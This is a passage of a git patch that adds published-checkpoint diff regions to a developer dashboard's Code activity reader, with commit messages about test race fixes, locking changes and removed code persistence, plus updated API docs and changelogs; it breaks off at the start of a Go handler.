<280983584+hivecommons-hive[bot]@users.noreply.github.com> Date: Wed, 4 Nov 2026 08:47:03 +0000 Subject: [PATCH 55/87] =?UTF-8?q?=E2=9C=A8=20feat(dashboard):=20feed=20pub?= =?UTF-8?q?lished=20checkpoint=20diff=20regions=20to=20Code=20activity=20(?= =?UTF-8?q?#16513)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * ✨ feat(dashboard): feed published checkpoint regions to the reader Reuse the authorized sentinel observer for complete add/remove regions with whole-region filtering, bounds, continuation and policy epochs. Keep code memory-only, clear stale policy data, and label buffered snapshots and explicit replay in the reader. Hive-Run: hivecommons/hive#16476 Hive-Plan: reader-source-cutover Hive-Spec: code-activity#published-checkpoints Signed-off-by: thatguywob <thatguywob@users.noreply.github.com> * πŸ“– docs: refresh dashboard route source citations Signed-off-by: thatguywob <thatguywob@users.noreply.github.com> * πŸ› fix(dashboard): settle checkpoint nudge before policy edits in tests CI on this branch was red on four fronts: - TestCheckpointAPIAuthColdAndEpoch raced: the observer goroutine reads s.deps.Config.Dashboard.Matrix while broadcasting the code-lines nudge, and the test rewrote that config as soon as the region was ingested. Register an SSE client and wait for the nudge frame instead, so the observer is quiescent before the policy edits. - TestSleepRatchet: both new polling loops used time.Sleep; the above removes one and the persist test now uses the existing waitFor helper. - TestDashboardHistoryPushSitesAreCapped: the reader's retained-region array matched the history-array guard. It is bounded by line/byte budget rather than capHistory, so name it `retained`. - mobile-shots tracker-header-geometry: inherited from the prerequisite branch; merged scanner/fix-16475 which carries the compact mobile chevron fix (7f93822f5). Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> Signed-off-by: scanner <280983584+hivecommons-hive[bot]@users.noreply.github.com> * πŸ› fix(dashboard): let concurrent matrix observers share the policy lock Observe used policyMu.TryLock, so two sentinel observers running at once (the sweep and webhook paths each run observers in their own goroutine) made the loser count as dropped and never re-observed. policyMu is now an RWMutex: observers take TryRLock and only back off while setConfig holds the exclusive lock, keeping Observe non-blocking. Hive-Fix-Attempt: 2/6 Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> Signed-off-by: scanner <280983584+hivecommons-hive[bot]@users.noreply.github.com> * πŸ› fix(dashboard): skip the matrix policy write-lock when the policy is unchanged handleCheckpointRegions refreshes the Matrix policy on every reader GET, and setConfig took policyMu exclusively even when nothing changed. An observer arriving during that window failed TryRLock and was dropped, and because the checkpoint head map is keyed by head SHA the dropped head was never re-observed. setConfig now compares the incoming policy with the one in force and returns before locking when they match. The stale-epoch skip in run() now documents why the legacy projection also drops the observation: setConfig reset that backlog for the same policy change. Hive-Fix-Attempt: 3/6 Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> Signed-off-by: scanner <280983584+hivecommons-hive[bot]@users.noreply.github.com> * ♻️ refactor(dashboard): drop the Matrix persist stub and name checkpoint labels Address review findings on #16513: - changelog.d/fixed-matrix-ingest-freshness.md no longer promises /data/matrix-lines.json persistence, which this PR removes. - Re-attach the matrixSource doc paragraph to matrixSource. - Delete the no-op SetMatrixPersistPath stub and matrix_persist_test.go; the legacy-history-never-restored assertion moves into TestCheckpointMemoryOnly. - Name the "Pushed PR" / "pushed-checkpoint" response contract as constants shared by ingest and since(). Hive-Fix-Attempt: 4/6 Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> Signed-off-by: scanner <280983584+hivecommons-hive[bot]@users.noreply.github.com> --------- Signed-off-by: thatguywob <thatguywob@users.noreply.github.com> Signed-off-by: scanner <280983584+hivecommons-hive[bot]@users.noreply.github.com> Co-authored-by: thatguywob <thatguywob@users.noreply.github.com> Co-authored-by: scanner <280983584+hivecommons-hive[bot]@users.noreply.github.com> Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> --- .../added-16476-published-checkpoints.md | 1 + changelog.d/fixed-matrix-ingest-freshness.md | 2 +- src/cmd/hive/main.go | 4 - src/cmd/hive/matrix_ingest.go | 12 +- src/docs/api-reference/auth.md | 6 +- src/docs/api-reference/dashboard-misc.md | 21 +- .../api-reference/health-status-events.md | 22 +- src/docs/api-reference/snapshots-and-style.md | 2 +- src/docs/dashboard.md | 58 ++- src/pkg/dashboard/api_checkpoint.go | 35 ++ src/pkg/dashboard/api_matrix.go | 5 + src/pkg/dashboard/checkpoint_source.go | 315 +++++++++++++++ src/pkg/dashboard/checkpoint_source_test.go | 366 ++++++++++++++++++ src/pkg/dashboard/matrix_persist_test.go | 149 ------- src/pkg/dashboard/matrix_source.go | 248 +++++------- src/pkg/dashboard/reader_ui_test.go | 91 +++-- src/pkg/dashboard/server.go | 10 +- src/pkg/dashboard/static-src/js/reader.js | 105 ++--- src/pkg/dashboard/static/index.html | 105 ++--- 19 files changed, 1094 insertions(+), 463 deletions(-) create mode 100644 changelog.d/added-16476-published-checkpoints.md create mode 100644 src/pkg/dashboard/api_checkpoint.go create mode 100644 src/pkg/dashboard/checkpoint_source.go create mode 100644 src/pkg/dashboard/checkpoint_source_test.go delete mode 100644 src/pkg/dashboard/matrix_persist_test.go diff --git a/changelog.d/added-16476-published-checkpoints.md b/changelog.d/added-16476-published-checkpoints.md new file mode 100644 index 0000000000..d3e17c0e17 --- /dev/null +++ b/changelog.d/added-16476-published-checkpoints.md @@ -0,0 +1 @@ +- Feed the Code activity reader whole pushed PR diff regions, including removals, through the existing authorized sentinel observer, with whole-region secret filtering, bounded memory-only history, policy reset, visible freshness, buffered-snapshot labels and explicit replay; stop restoring or writing the legacy Matrix code-history file. diff --git a/changelog.d/fixed-matrix-ingest-freshness.md b/changelog.d/fixed-matrix-ingest-freshness.md index fdb1d8b350..639a4a819c 100644 --- a/changelog.d/fixed-matrix-ingest-freshness.md +++ b/changelog.d/fixed-matrix-ingest-freshness.md @@ -1 +1 @@ -- Matrix kiosk no longer goes stale for the length of a governor tick: an incremental sentinel pass now reads only new PR heads in the allowlisted repos every two minutes, independently of the full 15-minute sweep, and `/api/matrix/lines` reports `last_ingest_at` / `next_ingest_in_s` so the footer can tell "nothing pushed" from "nothing ingested". The matrix backlog (last 500 lines) and the set of already-evaluated PR heads now persist under `/data/matrix-lines.json` and `/data/sentinel-heads.json` and are restored at boot with the sequence counter continuing, so a hub-triggered restart no longer blanks the kiosk or re-diffs every open PR; the first ingest also runs at boot instead of waiting for the reconcile timer ([#16276](https://github.com/hivecommons/hive/issues/16276)). +- Matrix kiosk no longer goes stale for the length of a governor tick: an incremental sentinel pass now reads only new PR heads in the allowlisted repos every two minutes, independently of the full 15-minute sweep, and `/api/matrix/lines` reports `last_ingest_at` / `next_ingest_in_s` so the footer can tell "nothing pushed" from "nothing ingested". The set of already-evaluated PR heads now persists under `/data/sentinel-heads.json` and is restored at boot, so a hub-triggered restart no longer re-diffs every open PR; the first ingest also runs at boot instead of waiting for the reconcile timer ([#16276](https://github.com/hivecommons/hive/issues/16276)). diff --git a/src/cmd/hive/main.go b/src/cmd/hive/main.go index 7d5be57141..17a2b757cd 100644 --- a/src/cmd/hive/main.go +++ b/src/cmd/hive/main.go @@ -2464,10 +2464,6 @@ func (b *boot) bootDashboard() { b.bootDashboardWith(defaultBootDashboardDeps()) // persistence enables injected; see bootDashboardDeps. func (b *boot) bootDashboardWith(deps bootDashboardDeps) { b.dashSrv = deps.newServer(b.cfg.Dashboard.Port, b.cfg.Dashboard.AuthToken, b.logger) - // The Matrix backlog survives a restart so the kiosk never blanks - // (#16276); the paired sentinel head map is set in - // applyGitHubClientConfigHooks. - b.dashSrv.SetMatrixPersistPath(matrixLinesStatePath) b.dashSrv.SetIntegrationExecutionEvaluators(b.integrationPreparationEligibility, b.integrationEligibility) worksource.SetRunStageAccessor(b.dashSrv.RunStageAccessor()) b.dashSrv.SetWritebackGate(b.writebackGate()) diff --git a/src/cmd/hive/matrix_ingest.go b/src/cmd/hive/matrix_ingest.go index 18940998db..d9cacb3f93 100644 --- a/src/cmd/hive/matrix_ingest.go +++ b/src/cmd/hive/matrix_ingest.go @@ -20,15 +20,9 @@ import ( // run every couple of minutes on its own goroutine. const matrixIngestInterval = 2 * time.Minute -// matrixLinesStatePath and sentinelHeadsStatePath are where the Matrix -// backlog and the sentinel's evaluated-head map persist on the PVC, each its -// own file like the other /data histories so a parse failure in one never -// takes the other down. Together they let a restarted hive refill the kiosk -// at once and diff only heads that moved while it was down. -const ( - matrixLinesStatePath = "/data/matrix-lines.json" - sentinelHeadsStatePath = "/data/sentinel-heads.json" -) +// sentinelHeadsStatePath keeps the evaluated-head map across restarts. Code +// buffers remain memory-only; restarting never restores captured code. +const sentinelHeadsStatePath = "/data/sentinel-heads.json" // matrixIngestState serializes incremental passes so concurrent callers must // not read the same new head twice. diff --git a/src/docs/api-reference/auth.md b/src/docs/api-reference/auth.md index 78ee568d5b..f53613dd29 100644 --- a/src/docs/api-reference/auth.md +++ b/src/docs/api-reference/auth.md @@ -24,6 +24,6 @@ Part of the [Dashboard REST API reference](../api-reference.md); see that page f | `GET` | `/api/openrouter/models` | Dashboard auth/session | Open Router Models | `pkg/dashboard/openrouter.go:47` | | `GET` | `/api/openrouter/credit` | Dashboard auth/session | Open Router Credit | `pkg/dashboard/openrouter.go:48` | | `GET` | `/openrouter/callback` | Public | Open Router Callback | `pkg/dashboard/openrouter.go:49` | -| `POST` | `/api/github-app/recheck` | Dashboard auth/session | GitHub App Recheck | `pkg/dashboard/server.go:1663` | -| `POST` | `/api/github-app/install-clicked` | Dashboard auth/session | GitHub App Install Clicked | `pkg/dashboard/server.go:1664` | -| `GET` | `/gh-setup` | Public | GitHub App Setup Callback | `pkg/dashboard/server.go:1665` | +| `POST` | `/api/github-app/recheck` | Dashboard auth/session | GitHub App Recheck | `pkg/dashboard/server.go:1662` | +| `POST` | `/api/github-app/install-clicked` | Dashboard auth/session | GitHub App Install Clicked | `pkg/dashboard/server.go:1663` | +| `GET` | `/gh-setup` | Public | GitHub App Setup Callback | `pkg/dashboard/server.go:1664` | diff --git a/src/docs/api-reference/dashboard-misc.md b/src/docs/api-reference/dashboard-misc.md index 05b5567c16..74debd9a15 100644 --- a/src/docs/api-reference/dashboard-misc.md +++ b/src/docs/api-reference/dashboard-misc.md @@ -80,7 +80,7 @@ The monitor renders CI and Review concurrently on one shared PR row; see | `POST` | `/api/hives/{id}/heartbeat` | Dashboard auth/session | Hives Heartbeat | `pkg/dashboard/api_contribute.go:377` | | `DELETE` | `/api/hives/{id}` | Owner only | Hives Delete | `pkg/dashboard/api_contribute.go:378` | | `POST` | `/api/hives/onboard` | Dashboard auth/session | Hives Onboard | `pkg/dashboard/api_contribute.go:379` | -| `GET` | `/sso` | Public | SSO | `pkg/dashboard/server.go:1670` | +| `GET` | `/sso` | Public | SSO | `pkg/dashboard/server.go:1669` | ### Activity observation provenance The CI snapshot retains real check/node IDs, head, App ID and transition times. @@ -119,3 +119,22 @@ PR writes. Push and same-head retry observations do not inherit an old fixer, owner or worker observation timestamp. Review completion uses the dispatch ledger's own agent/review-head/decision receipt and aggregate participation; another agent's same-perspective bundle verdict cannot settle that assignment. + +### Published-checkpoint regions + +`GET /api/matrix/lines?format=regions&since=<seq>&max=<lines>` selects whole +changed regions from the existing authorized sentinel observer. Authentication +and dashboard read permission are required, including in kiosk mode; responses +use `Cache-Control: no-store`. Disabled capture returns 404. An active cold +source returns 200 with an empty `regions` array and null `last_ingest_at`. + +The response contains continuation `seq`, source high-water mark `latest`, policy +`epoch`, source label `Pushed PR`, stage `pushed-checkpoint`, `last_ingest_at`, +`next_ingest_in_s`, and `regions`. Each region has its own sequence, repo, actual +PR number and `pr_url`, head, path, stage, observed `at`, and ordered `lines` +(`op` is `+` or `-`, `line` is untrimmed text). Follow response `seq`, not +`latest`, until caught up. `max` is a line budget (1–500, default 200); the first +eligible region is always returned whole, even if larger than the budget. +Code buffers are bounded and memory-only, so this is not an audit history. +Clear retained browser code on epoch changes and failed/disabled/unauthorized +pulls. An empty response says nothing about work outside the admitted source. diff --git a/src/docs/api-reference/health-status-events.md b/src/docs/api-reference/health-status-events.md index 5458c2d3fb..5e9728defb 100644 --- a/src/docs/api-reference/health-status-events.md +++ b/src/docs/api-reference/health-status-events.md @@ -24,17 +24,17 @@ Part of the [Dashboard REST API reference](../api-reference.md); see that page f | `GET` | `/api/version` | Dashboard auth/session | Build/version metadata; includes `upgradeMarker` (`target`, `current`, `attempts`, `maxAttempts`, `failed`, `requestedAt`, `lastError`) while a self-upgrade is in flight or has failed ([#6765](https://github.com/hivecommons/hive/issues/6765)), the hub-delivered `upgradePolicy` (`hub_managed`, `spoke_managed`, `schedule`, `schedule_hour`, `schedule_timezone`, `schedule_weekday`, `paused`, `branch`, `channel`, `target_sha`, `target_resolved`, `armed_target`, and `next_update_at` β€” the hub's RFC3339 ETA for the next promotion into the `stable` channel, omitted when unknown ([#10256](https://github.com/hivecommons/hive/issues/10256))) when available, and an `autoUpdate` object (`enabled`, `state` β€” one of `disabled`/`up_to_date`/`behind`/`retrying`/`failed`/`unknown` β€” `healthy`, `period`, `targetBranch`, `targetCommit`, `currentCommit`, `commitsBehind`, `lastAttemptAt`, `lastError`, `detail`, and `nextUpdateAt` β€” the hub's RFC3339 ETA for the next update, omitted when unknown, disabled or paused ([#10257](https://github.com/hivecommons/hive/issues/10257))) that never reports a failed or unknown update as healthy ([#6962](https://github.com/hivecommons/hive/issues/6962), [#6963](https://github.com/hivecommons/hive/issues/6963)). Also `startedAt` (RFC3339 process start β€” changes on every pod roll even when the build does not, so the dashboard can say "Restarted" vs "Upgraded") and, until the first status is published, `startupPhase`/`startupPhaseLabel` (the boot phase a fresh pod is in) ([#15788](https://github.com/hivecommons/hive/issues/15788)) | `pkg/dashboard/api.go:44` | | `GET` | `/api/version/release-notes` | Dashboard auth/session | Changelog gap between two revisions: `?from=<sha>&to=<channel-branch-tag-or-sha>` returns `{from:{sha,version?}, to:{sha,ref,version?}, sections:[{version,date,categories:{added,changed,fixed,security,deprecated}}], unreleased?, truncated, source, error?}` β€” the `CHANGELOG.md` release sections present at `to` and absent at `from`, newest first, plus (when `to` is not a release tag) the `changelog.d/` fragments new at `to` under an `Unreleased (in this build)` section. Fetch failures return `source: "unavailable"` with `error` rather than an error status; results are cached per (from, to) for an hour ([#11065](https://github.com/hivecommons/hive/issues/11065)) | `pkg/dashboard/api.go:45` | | `POST` | `/api/release-channel` | Owner only | Hosted spoke self-service release-channel selector; relays `stable`/`candidate`/`edge` to the hub's existing switch-branch endpoint with the spoke dashboard-token proof, and reports the requested channel as pending until the Deployment image lands | `pkg/dashboard/api.go:69` | -| `GET` | `/api/health` | Public | Basic health probe | `pkg/dashboard/server.go:1643` | -| `GET` | `/api/health/deep` | Public | Deep health probe | `pkg/dashboard/server.go:1644` | -| `GET` | `/api/livez` | Public | Kubernetes liveness probe | `pkg/dashboard/server.go:1645` | -| `GET` | `/metrics` | Registered only when `HIVE_METRICS_ENABLED`; requires `Authorization: ****** (403 if the token is unset) | Prometheus metrics | `pkg/dashboard/server.go:1651` | -| `GET` | `/api/status` | Dashboard auth/session | Dashboard aggregate status; `labelPresets[]` (`{key,label,description,labels[],states[]}`) lists the built-in label-filter presets for the Projects cards, led by `needs-human` whose `labels[]` are the effective hard-suppress labels plus `needs-signal`, the hold labels, `stage/071-needs-author` and the reporter-trust awaiting label (#12172); accepts `?fields=a,b` for top-level selection and `?omit=repos` to drop heavy sections, and honors `Accept-Encoding: gzip`; `agents[]` includes busy-pane visibility fields (`kicksUndeliverable`, `busySince`, `lastTranscriptActivity`, `condition`, `conditionMessage`) when a Working pane cannot accept kicks; a working agent also carries `agents[].run` β€” the live per-run line (#14576): `{since, elapsedS, costUSD, tokens, priced, tests, filesChanged}`, the estimated spend/tokens since the kick was delivered (`lastKickAt`, falling back to `busySince`) (delta of the token collector's per-agent cumulative figure; `priced:false` when the agent has none yet), the last visible test-runner result (`pass`/`fail`/empty) and the last `N files changed` git summary (`-1` when none) parsed from the captured pane; top-level `fleetRun` `{running, hourUSD, hourPriced, dayUSD, weekUSD, monthUSD, windowsPriced}` is the governor strip's rotating `running N Β· $X this hour / today / this week / this month` figure (#15614) β€” the hour is the rise since the top of the clock hour, the wider windows are the daily cost ledger summed from 00:00 UTC today, Monday 00:00 UTC (ISO week) and the 1st 00:00 UTC plus the rise since the ledger's last snapshot, `windowsPriced:false` when there is no ledger yet; `sla` (fleet) and `repos[].sla` (per repo) carry the Delivery SLA block derived from the lifecycle timeline with no extra GitHub calls: `windows.{7d,30d}.{open_to_triage,triage_to_start,start_to_pr,pr_to_merge,open_to_merge}` as `{p50_h,p95_h,n}` (hours, nearest-rank), `history[]` of up to 30 daily buckets `{day,start_to_pr_p50,pr_to_merge_p50,open_to_merge_p50,n_started,n_pr,n_merged}` persisted under `/data/sla-history.json`, `stale_in_progress[]` (`{number,repo,started_at,age_h,agent}` β€” issues carrying `hive/in-progress` longer than the agent claim TTL with no linked PR), `stale_count`, `merged_7d`, `claim_ttl_s` and, on the fleet block, the effective `targets` (`start_to_pr_h`, `pr_to_merge_h`, `open_to_merge_h`); `staleSince` and `repos[].countsStale` / `countsStaleSince` mark totals served from last-good figures β€” the previous enumeration (#13382) or the ForgeState cache's last-good counts (#13376); `ci_failure_signals` `{count, last, kicks, unmatched}` is the webhook CI-failure signal store β€” distinct red (repo, head, check) signals retained, the most recent one `{repo, number, head_sha, check, conclusion, details_url, agent, at}`, webhook-triggered kicks/nudges since boot, and failure deliveries whose head matched no open PR; `hotspots` `{count, actionable, filed}` is the merge-hotspot advisor's one-line summary (files at/above the thresholds, those with a split recommendation, those with a modularize issue filed), absent when the advisor is not wired β€” details on `GET /api/hotspots`; `writeback.dedupe` `{enabled, dedupe_same_item, dedupe_burst, rate_capped, hourly_cap, burst_items, burst_window_s, same_item_ttl_s}` is the write-back gate's content layer β€” the effective `writeback.dedupe.*` settings and the last-hour counts of writes held as `duplicate`, `burst` and `rate-capped` (each also listed under `GET /api/writeback/suppressed`); `config.gate_regressions[]` `{gate, previous, effective, source}` is the boot-time safety-gate regression list (#16438) β€” gates a previous runtime overlay on the PVC carried that the running config lacks or loosens (`review.require_labels`, `project.issue_filter.require_labels`, `project.paused_repos[<repo>]`, `writeback.per_repo[<repo>].mode`), empty on a healthy boot | `pkg/dashboard/server.go:1656` | -| `GET` | `/api/status/summary` | Dashboard auth/session | Compact agent/governor/budget status summary for pollers; honors `Accept-Encoding: gzip` | `pkg/dashboard/server.go:1657` | -| `GET` | `/api/overview/issues.csv` | Dashboard auth/session | Cached Overview issue-band export as browser-compatible CSV; filters `band`, `repo`/`repos`, `stale`, and `held` are ANDed. | `pkg/dashboard/server.go:1658` | -| `GET` | `/api/overview/issues.json` | Dashboard auth/session | Cached Overview issue-band export as typed JSON with `bands[]` metadata and row fields matching the CSV columns. | `pkg/dashboard/server.go:1659` | -| `GET` | `/api/overview/prs.csv` | Dashboard auth/session | Cached Overview PR-band export as browser-compatible CSV; filters `band`, `repo`/`repos`, `stale`, and `held` are ANDed. | `pkg/dashboard/server.go:1660` | -| `GET` | `/api/overview/prs.json` | Dashboard auth/session | Cached Overview PR-band export as typed JSON with `bands[]` metadata and row fields matching the CSV columns. | `pkg/dashboard/server.go:1661` | -| `GET` | `/api/events` | Dashboard auth/session | Server-sent event stream | `pkg/dashboard/server.go:1662` | +| `GET` | `/api/health` | Public | Basic health probe | `pkg/dashboard/server.go:1642` | +| `GET` | `/api/health/deep` | Public | Deep health probe | `pkg/dashboard/server.go:1643` | +| `GET` | `/api/livez` | Public | Kubernetes liveness probe | `pkg/dashboard/server.go:1644` | +| `GET` | `/metrics` | Registered only when `HIVE_METRICS_ENABLED`; requires `Authorization: ****** (403 if the token is unset) | Prometheus metrics | `pkg/dashboard/server.go:1650` | +| `GET` | `/api/status` | Dashboard auth/session | Dashboard aggregate status; `labelPresets[]` (`{key,label,description,labels[],states[]}`) lists the built-in label-filter presets for the Projects cards, led by `needs-human` whose `labels[]` are the effective hard-suppress labels plus `needs-signal`, the hold labels, `stage/071-needs-author` and the reporter-trust awaiting label (#12172); accepts `?fields=a,b` for top-level selection and `?omit=repos` to drop heavy sections, and honors `Accept-Encoding: gzip`; `agents[]` includes busy-pane visibility fields (`kicksUndeliverable`, `busySince`, `lastTranscriptActivity`, `condition`, `conditionMessage`) when a Working pane cannot accept kicks; a working agent also carries `agents[].run` β€” the live per-run line (#14576): `{since, elapsedS, costUSD, tokens, priced, tests, filesChanged}`, the estimated spend/tokens since the kick was delivered (`lastKickAt`, falling back to `busySince`) (delta of the token collector's per-agent cumulative figure; `priced:false` when the agent has none yet), the last visible test-runner result (`pass`/`fail`/empty) and the last `N files changed` git summary (`-1` when none) parsed from the captured pane; top-level `fleetRun` `{running, hourUSD, hourPriced, dayUSD, weekUSD, monthUSD, windowsPriced}` is the governor strip's rotating `running N Β· $X this hour / today / this week / this month` figure (#15614) β€” the hour is the rise since the top of the clock hour, the wider windows are the daily cost ledger summed from 00:00 UTC today, Monday 00:00 UTC (ISO week) and the 1st 00:00 UTC plus the rise since the ledger's last snapshot, `windowsPriced:false` when there is no ledger yet; `sla` (fleet) and `repos[].sla` (per repo) carry the Delivery SLA block derived from the lifecycle timeline with no extra GitHub calls: `windows.{7d,30d}.{open_to_triage,triage_to_start,start_to_pr,pr_to_merge,open_to_merge}` as `{p50_h,p95_h,n}` (hours, nearest-rank), `history[]` of up to 30 daily buckets `{day,start_to_pr_p50,pr_to_merge_p50,open_to_merge_p50,n_started,n_pr,n_merged}` persisted under `/data/sla-history.json`, `stale_in_progress[]` (`{number,repo,started_at,age_h,agent}` β€” issues carrying `hive/in-progress` longer than the agent claim TTL with no linked PR), `stale_count`, `merged_7d`, `claim_ttl_s` and, on the fleet block, the effective `targets` (`start_to_pr_h`, `pr_to_merge_h`, `open_to_merge_h`); `staleSince` and `repos[].countsStale` / `countsStaleSince` mark totals served from last-good figures β€” the previous enumeration (#13382) or the ForgeState cache's last-good counts (#13376); `ci_failure_signals` `{count, last, kicks, unmatched}` is the webhook CI-failure signal store β€” distinct red (repo, head, check) signals retained, the most recent one `{repo, number, head_sha, check, conclusion, details_url, agent, at}`, webhook-triggered kicks/nudges since boot, and failure deliveries whose head matched no open PR; `hotspots` `{count, actionable, filed}` is the merge-hotspot advisor's one-line summary (files at/above the thresholds, those with a split recommendation, those with a modularize issue filed), absent when the advisor is not wired β€” details on `GET /api/hotspots`; `writeback.dedupe` `{enabled, dedupe_same_item, dedupe_burst, rate_capped, hourly_cap, burst_items, burst_window_s, same_item_ttl_s}` is the write-back gate's content layer β€” the effective `writeback.dedupe.*` settings and the last-hour counts of writes held as `duplicate`, `burst` and `rate-capped` (each also listed under `GET /api/writeback/suppressed`); `config.gate_regressions[]` `{gate, previous, effective, source}` is the boot-time safety-gate regression list (#16438) β€” gates a previous runtime overlay on the PVC carried that the running config lacks or loosens (`review.require_labels`, `project.issue_filter.require_labels`, `project.paused_repos[<repo>]`, `writeback.per_repo[<repo>].mode`), empty on a healthy boot | `pkg/dashboard/server.go:1655` | +| `GET` | `/api/status/summary` | Dashboard auth/session | Compact agent/governor/budget status summary for pollers; honors `Accept-Encoding: gzip` | `pkg/dashboard/server.go:1656` | +| `GET` | `/api/overview/issues.csv` | Dashboard auth/session | Cached Overview issue-band export as browser-compatible CSV; filters `band`, `repo`/`repos`, `stale`, and `held` are ANDed. | `pkg/dashboard/server.go:1657` | +| `GET` | `/api/overview/issues.json` | Dashboard auth/session | Cached Overview issue-band export as typed JSON with `bands[]` metadata and row fields matching the CSV columns. | `pkg/dashboard/server.go:1658` | +| `GET` | `/api/overview/prs.csv` | Dashboard auth/session | Cached Overview PR-band export as browser-compatible CSV; filters `band`, `repo`/`repos`, `stale`, and `held` are ANDed. | `pkg/dashboard/server.go:1659` | +| `GET` | `/api/overview/prs.json` | Dashboard auth/session | Cached Overview PR-band export as typed JSON with `bands[]` metadata and row fields matching the CSV columns. | `pkg/dashboard/server.go:1660` | +| `GET` | `/api/events` | Dashboard auth/session | Server-sent event stream | `pkg/dashboard/server.go:1661` | | `GET` | `/api/swarm` | Dashboard auth/session | Current swarm status: display name, duration, active repo, expiry, persisted prep metrics when available, and idle-unlock fields. | `pkg/dashboard/swarm.go:310` | | `POST` | `/api/swarm` | Owner only | Start a 24h repo swarm for a configured repo, returning 409 when another swarm is active and 423 when a previous swarm keeps the next swarm locked until enough agents are idle unless body `{"repo":"owner/name","force":true}` is used; saves the active record before repo prep, persists prep metrics, and announces the start to Discord when configured. | `pkg/dashboard/swarm.go:311` | | `DELETE` | `/api/swarm` | Owner only | End the active swarm, score issues closed and PRs merged in the window, append it to history, and announce the result to Discord when configured. | `pkg/dashboard/swarm.go:312` | diff --git a/src/docs/api-reference/snapshots-and-style.md b/src/docs/api-reference/snapshots-and-style.md index 6139d7dc10..2a7f4e28bc 100644 --- a/src/docs/api-reference/snapshots-and-style.md +++ b/src/docs/api-reference/snapshots-and-style.md @@ -6,7 +6,7 @@ Part of the [Dashboard REST API reference](../api-reference.md); see that page f | Method | Path | Auth | Purpose | Source | |---|---|---|---|---| | `GET` | `/api/style` | Public | Sanitized custom dashboard CSS | `pkg/dashboard/api.go:46` | -| `GET` | `/branding/custom.css` | Dashboard auth/session | Operator branding stylesheet override, read per request (see [branding](../branding.md)) | `pkg/dashboard/server.go:1733` | +| `GET` | `/branding/custom.css` | Dashboard auth/session | Operator branding stylesheet override, read per request (see [branding](../branding.md)) | `pkg/dashboard/server.go:1732` | | `GET` | `/api/snapshot/frame-ancestors` | Public | Snapshot framing allowlist | `pkg/dashboard/api.go:82` | | `GET` | `/api/snapshot` | Public | Snapshot data | `pkg/dashboard/api.go:83` | | `GET` | `/snapshot` | Public | Public read-only snapshot page | `pkg/dashboard/api.go:84` | diff --git a/src/docs/dashboard.md b/src/docs/dashboard.md index 25a8e220da..0e89e3d839 100644 --- a/src/docs/dashboard.md +++ b/src/docs/dashboard.md @@ -617,31 +617,57 @@ scrub/path filters. When `dashboard.matrix.enabled` is set, the header shows a 404 and the view says it is not enabled. The reader adds no permission and no anonymous access. -- **Cards.** Consecutive lines from one file at one PR head form one card, - which shows that contiguous changed region in order. Indentation, blank lines - and repeated lines are kept. Added lines start with a green `+` and - removed lines (`op: "-"`) with a red `βˆ’`. Long lines wrap at a fixed font size and - are never truncated. Every card shows the repository - and PR number, the file, the source stage (`pushed`), and when hive - observed the change. The repository links to the pull request, using the source's - `pr_url` when it is an https URL and otherwise the derived GitHub link. Code is +- **Cards.** Each card is a complete contiguous add/remove region from a + validated unified-diff hunk at an actual published PR head. Indentation, blank lines + and repeated lines are kept. Additions start with a green `+`, and removals + start with a red `βˆ’`. Long lines wrap at a + fixed font size and are never truncated. Every card shows the repository + and PR number, the file, the source label (`Pushed PR`), and when hive + observed the change. The repository links to the real pull request. Code is always shown as text and is never parsed as HTML. - **Pacing.** One card is read at a time. A card stays in focus for a few seconds plus a little more for each line, up to 30 seconds, and then the next card scrolls into view. New work waits behind the paragraph being read. - When the reader is caught up, it holds quietly. It has no replay, filler, - typing effect or sound. + When the reader is caught up, it holds quietly. Opening backlog is labelled + **Buffered snapshot**. **Replay buffered snapshot** explicitly replays only + the retained regions with a replay label; automatic replay is off. There is + no filler, typing effect or sound. - **Pause.** Press **P**, press **Space**, or use the **Pause** button to pause or resume. Scrolling with the wheel, touch, arrow keys, Page Up/Page Down, Home or End also pauses the reader so you can inspect the text. The feed is native, scrollable text. - **Motion.** With `prefers-reduced-motion`, every card is shown at once and - nothing scrolls by itself. In a hidden tab, the reader stops advancing until - the tab is visible again. - -The feed currently carries pushed added lines, as shown in Matrix. Removal lines -and whole published-checkpoint regions come from the published-checkpoint -source ([#16476](https://github.com/hivecommons/hive/issues/16476)). + nothing scrolls by itself. Hiding the tab clears buffered browser code; + returning obtains a new buffered snapshot. + +The reader requests `GET /api/matrix/lines?format=regions&since=<seq>` through +existing dashboard read authorization. The sentinel's existing optional patch +observer feeds this memory-only projection; no new poller or workspace collector +is installed. Only positively identified Hive/clanker PRs from explicitly +allowlisted, verified-public repositories are eligible. Private or unknown +visibility fails closed. The source reports its last completed ingest pass and +next expected pass; a cold empty feed does **not** mean no work happened. Its +freshness is bounded by sentinel polling, unchanged-head suppression and budgets, +not a live editor stream. + +Changed regions preserve both signs, indentation, blanks and repeated lines. +An unsafe addition **or removal** drops its entire region. Built-in path denies +and configured exclusions still apply. Admission, pagination, deduplication and +eviction operate on whole regions. Limits are 4,096 runes per line, 16 KiB per +region, 200 changed lines per head, 600 per minute, and 2,000 lines / 512 KiB of +server text. Browser history holds at most 1,200 lines / 256 KiB of UTF-16 text +and 32 visible cards, evicting whole regions. These are text bounds, not total +process-memory measurements. Secret filtering remains heuristic. + +Policy changes clear server buffers and rotate a policy epoch. The browser +clears its retained code and replay history on a changed epoch, disabled or +unauthorized response, failed pull, or hidden tab. A 30-second authorized pull +recovers missed sequence-only SSE nudges; code is never sent on SSE or logged. +Buffers no longer persist across restarts, including the legacy Matrix line +projection. Existing `/data/matrix-lines.json` files are neither restored nor +updated; operators may remove such historical files according to their own +retention policy. The sentinel evaluated-head map remains separate and persists. +There is no `dashboard.matrix.workspaces` setting or pre-push capture. ## PR review and link signals diff --git a/src/pkg/dashboard/api_checkpoint.go b/src/pkg/dashboard/api_checkpoint.go new file mode 100644 index 0000000000..8c4a0aa65b --- /dev/null +++ b/src/pkg/dashboard/api_checkpoint.go @@ -0,0 +1,35 @@ +package dashboard + +import ( + "encoding/json" + "net/http" + "strconv" +) + +// handleCheckpointRegions runs behind handleMatrixLines' existing read gate. +// Initializing the memory-only projection here gives an enabled cold source a +// truthful empty 200, without waiting for or initiating a sentinel pass. +func (s *Server) handleCheckpointRegions(w http.ResponseWriter, r *http.Request) { + 